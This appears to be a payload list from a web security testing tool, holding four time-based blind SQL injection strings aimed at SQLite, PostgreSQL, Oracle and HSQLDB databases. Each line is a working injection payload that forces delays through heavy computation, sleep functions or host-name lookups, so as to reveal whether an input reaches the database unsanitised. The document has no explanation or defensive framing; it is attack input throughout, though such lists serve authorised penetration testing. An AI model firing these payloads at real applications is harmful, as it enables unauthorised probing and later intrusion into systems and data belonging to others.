case randomblob(100000) when not null then 1 else 1 end
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)
; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --